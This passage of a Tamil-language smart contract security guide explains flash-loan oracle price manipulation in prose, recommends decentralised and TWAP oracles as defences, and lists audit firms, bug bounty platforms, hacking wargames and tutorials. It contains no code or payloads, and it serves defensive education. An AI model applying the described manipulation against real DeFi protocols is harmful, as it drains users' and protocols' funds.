உதாரணமாக, உங்கள் கடனளிப்பு ஒப்பந்தத்துடன் தொடர்புகொள்வதற்கு முன்பு ஒரு உடனடி கடனை எடுப்பதன் மூலம் தாக்குபவர் ஒரு சொத்தின் உடனடி விலையைச் செயற்கையாக உயர்த்தலாம். சொத்தின் விலைக்காக DEX ஐ வினவுவது இயல்பை விட அதிக மதிப்பை வழங்கும் (தாக்குபவரின் பெரிய “வாங்குதல் ஆர்டர்” சொத்துக்கான தேவையைக் குறைப்பதால்), அவர்கள் வேண்டியதை விட அதிகமாகக் கடன் வாங்க அனுமதிக்கிறது. இத்தகைய "உடனடி கடன் தாக்குதல்கள்" DeFi பயன்பாடுகளிடையே விலை தரவு வழங்கிகளைச் சார்ந்திருப்பதைச் சுரண்டுவதற்குப் பயன்படுத்தப்பட்டுள்ளன, இதனால் நெறிமுறைகளுக்கு மில்லியன் கணக்கான நிதிகள் இழக்கப்பட்டுள்ளன.
தரவு வழங்கி கையாளுதலை எவ்வாறு தடுப்பது
தரவு வழங்கி கையாளுதலைத் தவிர்ப்பதற்கான (புதிய தாவலில் திறக்கும்) குறைந்தபட்சத் தேவை, ஒற்றைத் தோல்விப் புள்ளிகளைத் தவிர்க்கப் பல மூலங்களிலிருந்து தகவல்களை வினவும் பரவலாக்கப்பட்ட தரவு வழங்கிப் பிணையத்தைப் பயன்படுத்துவதாகும். பெரும்பாலான சந்தர்ப்பங்களில், பரவலாக்கப்பட்ட தரவு வழங்கிகள் சரியான தகவலைப் புகாரளிக்க தரவு வழங்கி முனைகளை (oracle nodes) ஊக்குவிக்க உள்ளமைக்கப்பட்ட கிரிப்டோ பொருளாதார ஊக்கங்களைக் கொண்டுள்ளன, இது மையப்படுத்தப்பட்ட தரவு வழங்கிகளை விட அவற்றைப் பாதுகாப்பானதாக்குகிறது.
சொத்து விலைகளுக்காகச் சங்கிலிசார் தரவு வழங்கியை வினவ நீங்கள் திட்டமிட்டால், நேர-எடையுள்ள சராசரி விலை (TWAP) வழிமுறையைச் செயல்படுத்தும் ஒன்றைப் பயன்படுத்தக் கருதுங்கள். ஒரு TWAP தரவு வழங்கி (புதிய தாவலில் திறக்கும்) இரண்டு வெவ்வேறு நேரங்களில் (நீங்கள் மாற்றியமைக்கலாம்) ஒரு சொத்தின் விலையை வினவுகிறது மற்றும் பெறப்பட்ட சராசரியின் அடிப்படையில் உடனடி விலையைக் கணக்கிடுகிறது. நீண்ட காலங்களைத் தேர்ந்தெடுப்பது விலை கையாளுதலுக்கு எதிராக உங்கள் நெறிமுறையைப் பாதுகாக்கிறது, ஏனெனில் சமீபத்தில் செயல்படுத்தப்பட்ட பெரிய ஆர்டர்கள் சொத்து விலைகளைப் பாதிக்க முடியாது.
டெவலப்பர்களுக்கான திறன் ஒப்பந்தப் பாதுகாப்பு ஆதாரங்கள்
திறன் ஒப்பந்தங்களை பகுப்பாய்வு செய்வதற்கும் குறியீட்டின் சரியான தன்மையை சரிபார்ப்பதற்குமான கருவிகள்
-
சோதனைக் கருவிகள் மற்றும் நிரலகங்கள் - திறன் ஒப்பந்தங்களில் அலகு சோதனைகள் (unit tests), நிலையான பகுப்பாய்வு மற்றும் மாறும் பகுப்பாய்வு ஆகியவற்றைச் செய்வதற்கான தொழில்துறை-தரமான கருவிகள் மற்றும் நிரலகங்களின் தொகுப்பு.
-
முறைசார் சரிபார்ப்புக் கருவிகள் - திறன் ஒப்பந்தங்களில் செயல்பாட்டுச் சரியான தன்மையைச் சரிபார்ப்பதற்கும் மாறிலிகளைச் (invariants) சரிபார்ப்பதற்குமான கருவிகள்.
-
திறன் ஒப்பந்தத் தணிக்கை சேவைகள் - எத்திரியம் மேம்பாட்டுத் திட்டங்களுக்குத் திறன் ஒப்பந்தத் தணிக்கை சேவைகளை வழங்கும் நிறுவனங்களின் பட்டியல்.
-
பக் பவுண்டி தளங்கள் - பக் பவுண்டிகளை (bug bounties) ஒருங்கிணைப்பதற்கும், திறன் ஒப்பந்தங்களில் உள்ள முக்கியமான பாதிப்புகளைப் பொறுப்புடன் வெளிப்படுத்துபவர்களுக்கு வெகுமதியளிப்பதற்குமான தளங்கள்.
-
Fork Checker (புதிய தாவலில் திறக்கும்) - கவையாகப் பிரிக்கப்பட்ட (forked) ஒப்பந்தம் தொடர்பான கிடைக்கக்கூடிய அனைத்துத் தகவல்களையும் சரிபார்க்கும் ஒரு இலவச ஆன்லைன் கருவி.
-
ABI Encoder (புதிய தாவலில் திறக்கும்) - உங்கள் Solidity ஒப்பந்தச் செயல்பாடுகள் மற்றும் ஆக்கி (constructor) வாதங்களை குறியாக்கம் செய்வதற்கான ஒரு இலவச ஆன்லைன் சேவை.
-
Aderyn (புதிய தாவலில் திறக்கும்) - Solidity நிலையான பகுப்பாய்வி (Static Analyzer), சந்தேகத்திற்குரிய பாதிப்புகளைக் கண்டறிய சுருக்கத் தொடரியல் மரங்களை (AST) கடந்து சென்று, சிக்கல்களை எளிதாகப் படிக்கக்கூடிய மார்க்டவுன் வடிவத்தில் அச்சிடுகிறது.
திறன் ஒப்பந்தங்களைக் கண்காணிப்பதற்கான கருவிகள்
- Tenderly Real-Time Alerting (புதிய தாவலில் திறக்கும்) - உங்கள் திறன் ஒப்பந்தங்கள் அல்லது பணப்பைகளில் அசாதாரணமான அல்லது எதிர்பாராத நிகழ்வுகள் நடக்கும்போது நிகழ்நேர அறிவிப்புகளைப் பெறுவதற்கான ஒரு கருவி.
திறன் ஒப்பந்தங்களைப் பாதுகாப்பாக நிர்வகிப்பதற்கான கருவிகள்
-
Safe (புதிய தாவலில் திறக்கும்) - எத்திரியத்தில் இயங்கும் திறன் ஒப்பந்தப் பணப்பை, இதில் ஒரு பரிவர்த்தனை நடப்பதற்கு முன்பு குறைந்தபட்ச எண்ணிக்கையிலான நபர்கள் ஒப்புதல் அளிக்க வேண்டும் (M-of-N).
-
ஓப்பன்செப்பெலின் ஒப்பந்தங்கள் (புதிய தாவலில் திறக்கும்) - ஒப்பந்த உரிமை, மேம்படுத்தல்கள், அணுகல் கட்டுப்பாடுகள், ஆளுகை, இடைநிறுத்தும் திறன் மற்றும் பலவற்றை உள்ளடக்கிய நிர்வாக அம்சங்களைச் செயல்படுத்துவதற்கான ஒப்பந்த நிரலகங்கள்.
திறன் ஒப்பந்தத் தணிக்கை சேவைகள்
-
கன்சென்சிஸ் டிலிஜென்ஸ் (ConsenSys Diligence) (புதிய தாவலில் திறக்கும்) - தொகுதிச்சங்கிலி சுற்றுச்சூழல் அமைப்பு முழுவதும் உள்ள திட்டங்கள், அவற்றின் நெறிமுறைகள் தொடங்குவதற்குத் தயாராக இருப்பதையும் பயனர்களைப் பாதுகாக்கும் வகையில் கட்டமைக்கப்பட்டுள்ளதையும் உறுதிசெய்ய உதவும் திறன் ஒப்பந்தத் தணிக்கை சேவை.
-
CertiK (புதிய தாவலில் திறக்கும்) - திறன் ஒப்பந்தங்கள் மற்றும் தொகுதிச்சங்கிலிப் பிணையங்களில் அதிநவீன முறைசார் சரிபார்ப்புத் தொழில்நுட்பத்தைப் பயன்படுத்துவதில் முன்னோடியாகத் திகழும் தொகுதிச்சங்கிலிப் பாதுகாப்பு நிறுவனம்.
-
Trail of Bits (புதிய தாவலில் திறக்கும்) - ஆபத்தைக் குறைப்பதற்கும் குறியீட்டை வலுப்படுத்துவதற்கும் பாதுகாப்பு ஆராய்ச்சியைக் தாக்குபவரின் மனநிலையுடன் இணைக்கும் இணையப் பாதுகாப்பு நிறுவனம்.
-
PeckShield (புதிய தாவலில் திறக்கும்) - முழுத் தொகுதிச்சங்கிலிச் சுற்றுச்சூழல் அமைப்பின் பாதுகாப்பு, தனியுரிமை மற்றும் பயன்பாட்டிற்கான தயாரிப்புகள் மற்றும் சேவைகளை வழங்கும் தொகுதிச்சங்கிலிப் பாதுகாப்பு நிறுவனம்.
-
QuantStamp (புதிய தாவலில் திறக்கும்) - பாதுகாப்பு மற்றும் இடர் மதிப்பீட்டுச் சேவைகள் மூலம் தொகுதிச்சங்கிலித் தொழில்நுட்பத்தின் பிரதான தத்தெடுப்பை எளிதாக்கும் தணிக்கை சேவை.
-
ஓப்பன்செப்பெலின் (புதிய தாவலில் திறக்கும்) - பகிர்ந்தளிக்கப்பட்ட அமைப்புகளுக்குப் பாதுகாப்புத் தணிக்கைகளை வழங்கும் திறன் ஒப்பந்தப் பாதுகாப்பு நிறுவனம்.
-
Runtime Verification (புதிய தாவலில் திறக்கும்) - திறன் ஒப்பந்தங்களின் முறைசார் மாதிரியாக்கம் மற்றும் சரிபார்ப்பில் நிபுணத்துவம் பெற்ற பாதுகாப்பு நிறுவனம்.
-
Hacken (புதிய தாவலில் திறக்கும்) - தொகுதிச்சங்கிலிப் பாதுகாப்பிற்கு 360 டிகிரி அணுகுமுறையைக் கொண்டுவரும் Web3 இணையப் பாதுகாப்புத் தணிக்கையாளர்.
-
நெதர்மைண்ட் (புதிய தாவலில் திறக்கும்) - எத்திரியம் மற்றும் ஸ்டார்க்நெட் முழுவதும் திறன் ஒப்பந்தங்களின் ஒருமைப்பாட்டையும் பயனர்களின் பாதுகாப்பையும் உறுதி செய்யும் Solidity மற்றும் Cairo தணிக்கை சேவைகள்.
-
HashEx (புதிய தாவலில் திறக்கும்) - கிரிப்டோகரன்சிகளின் பாதுகாப்பை உறுதி செய்வதற்காகத் தொகுதிச்சங்கிலி மற்றும் திறன் ஒப்பந்தத் தணிக்கையில் HashEx கவனம் செலுத்துகிறது, மேலும் திறன் ஒப்பந்த மேம்பாடு, ஊடுருவல் சோதனை, தொகுதிச்சங்கிலி ஆலோசனை போன்ற சேவைகளை வழங்குகிறது.
-
Code4rena (புதிய தாவலில் திறக்கும்) - பாதிப்புகளைக் கண்டறியவும் Web3-ஐப் பாதுகாப்பானதாக மாற்ற உதவவும் திறன் ஒப்பந்தப் பாதுகாப்பு நிபுணர்களை ஊக்குவிக்கும் போட்டித் தணிக்கைத் தளம்.
-
CodeHawks (புதிய தாவலில் திறக்கும்) - பாதுகாப்பு ஆராய்ச்சியாளர்களுக்கான திறன் ஒப்பந்தத் தணிக்கைப் போட்டிகளை நடத்தும் போட்டித் தணிக்கைத் தளம்.
-
Cyfrin (புதிய தாவலில் திறக்கும்) - தயாரிப்புகள் மற்றும் திறன் ஒப்பந்தத் தணிக்கை சேவைகள் மூலம் கிரிப்டோ பாதுகாப்பை வளர்க்கும் Web3 பாதுகாப்பு மையம்.
-
ImmuneBytes (புதிய தாவலில் திறக்கும்) - அனுபவம் வாய்ந்த தணிக்கையாளர்கள் மற்றும் சிறந்த கருவிகளைக் கொண்ட குழுவின் மூலம் தொகுதிச்சங்கிலி அமைப்புகளுக்கான பாதுகாப்புத் தணிக்கைகளை வழங்கும் Web3 பாதுகாப்பு நிறுவனம்.
-
Oxorio (புதிய தாவலில் திறக்கும்) - கிரிப்டோ நிறுவனங்கள் மற்றும் பரவலாக்கப்பட்ட நிதி (DeFi) திட்டங்களுக்கான EVM, Solidity, ZK, குறுக்கு-சங்கிலித் தொழில்நுட்பம் ஆகியவற்றில் நிபுணத்துவம் பெற்ற திறன் ஒப்பந்தத் தணிக்கைகள் மற்றும் தொகுதிச்சங்கிலிப் பாதுகாப்பு சேவைகள்.
-
Inference (புதிய தாவலில் திறக்கும்) - EVM அடிப்படையிலான தொகுதிச்சங்கிலிகளுக்கான திறன் ஒப்பந்தத் தணிக்கையில் நிபுணத்துவம் பெற்ற பாதுகாப்புத் தணிக்கை நிறுவனம். இதன் நிபுணத்துவத் தணிக்கையாளர்களுக்கு நன்றி, அவர்கள் சாத்தியமான சிக்கல்களைக் கண்டறிந்து, நிலைநிறுத்தத்திற்கு (deployment) முன்பு அவற்றைச் சரிசெய்வதற்கான செயல் தீர்வுகளைப் பரிந்துரைக்கின்றனர்.
பக் பவுண்டி தளங்கள்
-
Immunefi (புதிய தாவலில் திறக்கும்) - திறன் ஒப்பந்தங்கள் மற்றும் DeFi திட்டங்களுக்கான பக் பவுண்டி தளம், இதில் பாதுகாப்பு ஆராய்ச்சியாளர்கள் குறியீட்டை மதிப்பாய்வு செய்கிறார்கள், பாதிப்புகளை வெளிப்படுத்துகிறார்கள், பணம் பெறுகிறார்கள் மற்றும் கிரிப்டோவைப் பாதுகாப்பானதாக மாற்றுகிறார்கள்.
-
HackerOne (புதிய தாவலில் திறக்கும்) - ஊடுருவல் சோதனையாளர்கள் மற்றும் இணையப் பாதுகாப்பு ஆராய்ச்சியாளர்களுடன் வணிகங்களை இணைக்கும் பாதிப்பு ஒருங்கிணைப்பு மற்றும் பக் பவுண்டி தளம்.
-
HackenProof (புதிய தாவலில் திறக்கும்) - கிரிப்டோ திட்டங்களுக்கான (DeFi, திறன் ஒப்பந்தங்கள், பணப்பைகள், CEX மற்றும் பல) நிபுணத்துவ பக் பவுண்டி தளம், இதில் பாதுகாப்பு வல்லுநர்கள் ட்ரையேஜ் (triage) சேவைகளை வழங்குகிறார்கள் மற்றும் ஆராய்ச்சியாளர்கள் தொடர்புடைய, சரிபார்க்கப்பட்ட பிழை அறிக்கைகளுக்குப் பணம் பெறுகிறார்கள்.
-
Sherlock (புதிய தாவலில் திறக்கும்) - திறன் ஒப்பந்தப் பாதுகாப்பிற்கான Web3-இல் உள்ள அண்டர்ரைட்டர் (Underwriter), இதில் தொடர்புடைய பிழைகளுக்கு நியாயமான முறையில் பணம் வழங்கப்படுவதை உறுதிசெய்யத் திறன் ஒப்பந்தங்கள் மூலம் தணிக்கையாளர்களுக்கான பேஅவுட்கள் நிர்வகிக்கப்படுகின்றன.
-
CodeHawks (புதிய தாவலில் திறக்கும்) - தணிக்கையாளர்கள் பாதுகாப்புப் போட்டிகள் மற்றும் சவால்களில் பங்கேற்கும், மற்றும் (விரைவில்) அவர்களின் சொந்தத் தனிப்பட்ட தணிக்கைகளிலும் பங்கேற்கும் போட்டி பக் பவுண்டி தளம்.
அறியப்பட்ட திறன் ஒப்பந்தப் பாதிப்புகள் மற்றும் சுரண்டல்களின் வெளியீடுகள்
-
கன்சென்சிஸ்: திறன் ஒப்பந்தத்தின் அறியப்பட்ட தாக்குதல்கள் (புதிய தாவலில் திறக்கும்) - பெரும்பாலான நிகழ்வுகளுக்கான மாதிரி குறியீட்டுடன், மிக முக்கியமான ஒப்பந்தப் பாதிப்புகளின் தொடக்கநிலையாளர்களுக்கான எளிமையான விளக்கம்.
-
SWC Registry (புதிய தாவலில் திறக்கும்) - எத்திரியம் திறன் ஒப்பந்தங்களுக்குப் பொருந்தும் பொதுவான பலவீனக் கணக்கீட்டு (CWE) உருப்படிகளின் தொகுக்கப்பட்ட பட்டியல்.
-
Rekt (புதிய தாவலில் திறக்கும்) - விரிவான பிந்தைய பகுப்பாய்வு (post-mortem) அறிக்கைகளுடன், உயர்மட்ட கிரிப்டோ ஹேக்குகள் மற்றும் சுரண்டல்களின் தொடர்ந்து புதுப்பிக்கப்படும் வெளியீடு.
திறன் ஒப்பந்தப் பாதுகாப்பைக் கற்றுக்கொள்வதற்கான சவால்கள்
-
Awesome BlockSec CTF (புதிய தாவலில் திறக்கும்) - தொகுதிச்சங்கிலிப் பாதுகாப்புப் போர் விளையாட்டுகள் (wargames), சவால்கள் மற்றும் கேப்சர் தி ஃபிளாக் (Capture The Flag) (புதிய தாவலில் திறக்கும்) போட்டிகள் மற்றும் தீர்வுகளின் தொகுக்கப்பட்ட பட்டியல்.
-
Damn Vulnerable DeFi (புதிய தாவலில் திறக்கும்) - DeFi திறன் ஒப்பந்தங்களின் தாக்குதல் பாதுகாப்பைக் கற்றுக்கொள்வதற்கும், பிழை வேட்டை மற்றும் பாதுகாப்புத் தணிக்கையில் திறன்களை வளர்ப்பதற்குமான போர் விளையாட்டு.
-
Ethernaut (புதிய தாவலில் திறக்கும்) - Web3/Solidity அடிப்படையிலான போர் விளையாட்டு, இதில் ஒவ்வொரு நிலையும் 'ஹேக்' செய்யப்பட வேண்டிய ஒரு திறன் ஒப்பந்தமாகும்.
-
HackenProof x HackTheBox (புதிய தாவலில் திறக்கும்) - ஒரு கற்பனை சாகசத்தில் அமைக்கப்பட்ட திறன் ஒப்பந்த ஹேக்கிங் சவால். சவாலை வெற்றிகரமாக முடிப்பது ஒரு தனிப்பட்ட பக் பவுண்டி திட்டத்திற்கான அணுகலையும் வழங்குகிறது.
திறன் ஒப்பந்தங்களைப் பாதுகாப்பதற்கான சிறந்த நடைமுறைகள்
-
கன்சென்சிஸ்: எத்திரியம் திறன் ஒப்பந்தப் பாதுகாப்பிற்கான சிறந்த நடைமுறைகள் (புதிய தாவலில் திறக்கும்) - எத்திரியம் திறன் ஒப்பந்தங்களைப் பாதுகாப்பதற்கான வழிகாட்டுதல்களின் விரிவான பட்டியல்.
-
Nascent: எளிய பாதுகாப்புக் கருவித்தொகுப்பு (புதிய தாவலில் திறக்கும்) - திறன் ஒப்பந்த மேம்பாட்டிற்கான நடைமுறைப் பாதுகாப்பு மைய வழிகாட்டிகள் மற்றும் சரிபார்ப்புப் பட்டியல்களின் தொகுப்பு.
-
Solidity Patterns (புதிய தாவலில் திறக்கும்) - திறன் ஒப்பந்த நிரலாக்க மொழியான Solidity-க்கான பாதுகாப்பான வடிவங்கள் மற்றும் சிறந்த நடைமுறைகளின் பயனுள்ள தொகுப்பு.
-
Solidity ஆவணங்கள்: பாதுகாப்புக் கருத்தாய்வுகள் (புதிய தாவலில் திறக்கும்) - Solidity மூலம் பாதுகாப்பான திறன் ஒப்பந்தங்களை எழுதுவதற்கான வழிகாட்டுதல்கள்.
-
திறன் ஒப்பந்தப் பாதுகாப்புச் சரிபார்ப்புத் தரம் (புதிய தாவலில் திறக்கும்) - டெவலப்பர்கள், கட்டமைப்பு வடிவமைப்பாளர்கள், பாதுகாப்பு மதிப்பாய்வாளர்கள் மற்றும் விற்பனையாளர்களுக்கான திறன் ஒப்பந்தங்களின் பாதுகாப்பைத் தரப்படுத்த உருவாக்கப்பட்ட பதினான்கு பகுதி சரிபார்ப்புப் பட்டியல்.
-
திறன் ஒப்பந்தப் பாதுகாப்பு மற்றும் தணிக்கையைக் கற்றுக்கொள்ளுங்கள் (புதிய தாவலில் திறக்கும்) - தங்கள் பாதுகாப்புச் சிறந்த நடைமுறைகளை மேம்படுத்திப் பாதுகாப்பு ஆராய்ச்சியாளர்களாக மாற விரும்பும் திறன் ஒப்பந்த டெவலப்பர்களுக்காக உருவாக்கப்பட்ட இறுதித் திறன் ஒப்பந்தப் பாதுகாப்பு மற்றும் தணிக்கைப் பாடநெறி.
திறன் ஒப்பந்தப் பாதுகாப்பு குறித்த பயிற்சிகள்
-
திறன் ஒப்பந்தப் பிழைகளைக் கண்டறிய ஸ்லித்தரை (Slither) எவ்வாறு பயன்படுத்துவது
-
திறன் ஒப்பந்தப் பிழைகளைக் கண்டறிய மேண்டிகோரை (Manticore) எவ்வாறு பயன்படுத்துவது
-
உங்கள் வில்லை ஒப்பந்தத்தை தன்னிச்சையான வில்லைகளுடன் பாதுகாப்பாக ஒருங்கிணைப்பது எப்படி
-
Cyfrin Updraft - திறன் ஒப்பந்தப் பாதுகாப்பு மற்றும் தணிக்கை முழுப் பாடநெறி (புதிய தாவலில் திறக்கும்)